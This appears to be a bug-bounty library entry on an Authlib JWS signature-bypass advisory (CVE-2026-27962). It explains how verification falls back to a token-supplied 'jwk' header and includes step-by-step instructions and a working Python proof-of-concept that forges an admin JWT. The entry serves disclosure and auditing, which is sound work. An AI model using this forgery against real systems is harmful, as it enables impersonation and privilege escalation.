# Authlib JWS JWK Header Injection: Signature Verification Bypass

Authlib JWS falls back to the attacker-supplied `jwk` header when key resolution returns None, letting forged JWTs pass signature verification.

- Payout: Research
- Severity: critical
- Program: Authlib
- Found by: Jaynornj, Pr00fOf3xpl0it
- Disclosed: 2026-03-16
- CVE: CVE-2026-27962
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-wvwj-cvrp-7pv5
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-wvwj-cvrp-7pv5
- Tags: area:oss domain:oss impact:ato impact:privesc kind:research platform:ghsa sev:critical tech:jwt tech:python technique:source-review vuln:auth-bypass vuln:crypto vuln:signature-replay

**Target:** Python JOSE/JWS library (authlib) deserialization
**Root cause:** `JsonWebSignature._prepare_algorithm_key()` uses `header["jwk"]` as the verification key when `key is None`, including when a key-resolver callable returns None for an unknown kid. This trusts a token-supplied key, violating RFC 7515 §4.1.3/§5.2.
**Steps:**
1. Generate an attacker RSA keypair and export the public JWK.
2. Build header `{"alg": "RS256", "jwk": <attacker_public_jwk>}` and payload `{"sub": "attacker", "role": "admin"}`.
3. Sign the token with the attacker private key via `jws.serialize_compact(header, forged_payload, attacker_private)`.
4. Submit the token with an unknown `kid` so the resolver returns None (or pass `key=None` directly).
5. `jws.deserialize_compact(forged_token, None)` verifies against `header["jwk"]` and returns the forged claims.
**How found:** Code review of the key-preparation path in `authlib/jose/rfc7515/jws.py`; noticed the `elif key is None and "jwk" in header` fallback and recognized it as a token-supplied verification anchor contradicting RFC 7515 §5.2. Also identified the realistic trigger: JWKS resolver returning None for unknown/rotated kid.
**Exploitation:** Unauthenticated attacker forges a JWT with arbitrary claims (admin role, scopes, user IDs), signs with their own key, embeds the matching public JWK in the header, and triggers the None-key fallback via unknown kid. Server accepts the token as valid with no exception, granting impersonation of any user or privilege.
**Insight:** Audit JOSE libraries for any code path where the verification key can originate from the token itself (jwk, jku, x5u, x5c) rather than application context; the dangerous case is a resolver returning None, which silently converts a lookup miss into attacker-key trust instead of an error.

## Proof of concept (copied exactly from the original report)

**Exploit script forging JWT with embedded jwk**

```
from authlib.jose import JsonWebSignature, RSAKey
import json

jws = JsonWebSignature(["RS256"])

# Step 1: Attacker generates their own RSA keypair
attacker_private = RSAKey.generate_key(2048, is_private=True)
attacker_public_jwk = attacker_private.as_dict(is_private=False)

# Step 2: Forge a JWT with elevated privileges, embed public key in header
header = {"alg": "RS256", "jwk": attacker_public_jwk}
forged_payload = json.dumps({"sub": "attacker", "role": "admin"}).encode()
forged_token = jws.serialize_compact(header, forged_payload, attacker_private)

# Step 3: Server decodes with key=None — token is accepted
result = jws.deserialize_compact(forged_token, None)
claims = json.loads(result["payload"])
print(claims)  # {'sub': 'attacker', 'role': 'admin'}
assert claims["role"] == "admin"  # PASSES
```

